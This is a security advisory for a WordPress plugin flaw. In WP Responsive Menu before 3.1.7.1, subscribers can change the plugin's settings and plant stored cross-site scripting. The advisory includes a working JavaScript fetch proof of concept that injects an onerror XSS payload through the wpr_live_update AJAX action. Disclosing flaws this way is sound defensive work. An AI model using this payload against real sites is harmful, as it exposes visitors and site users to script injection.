WP Responsive Menu < 3.1.7.1 - Subscriber+ Settings Update to Stored XSS

2022-01-2600:00:00

Krzysztof Zając

165

0.001 Low

EPSS

Percentile

24.8%

JSON

The plugin does not have capability and CSRF checks in the wpr_live_update AJAX action, as well as do not sanitise and escape some of the data submitted. As a result, any authenticated, such as subscriber could update the plugin’s settings and perform Cross-Site Scripting attacks against all visitor and users on the frontend

fetch("https://example.com/wp-admin/admin-ajax.php", {
    "headers": {
        "content-type": "application/x-www-form-urlencoded",
    },
    "body": "action=wpr_live_update&wprmenu_options[enabled]=1&wprmenu_options[position]=\"><img src onerror=alert(/XSS/)>",
    "method": "POST",
})
.then(response => response.text())
.then(function(data) {
    console.log(data);

    fetch("https://example.com/wp-admin/admin-ajax.php", {
        "headers": {
            "content-type": "application/x-www-form-urlencoded",
        },
        "body": "action=wpr_get_transient_from_data",
        "method": "POST",
    });
});

The XSS will be triggered in all frontend pages

0.001 Low

EPSS

Percentile

24.8%

JSON

Related for WPEX-ID:661CB7E3-D7BD-4BC1-BF78-BDB4BA9610D7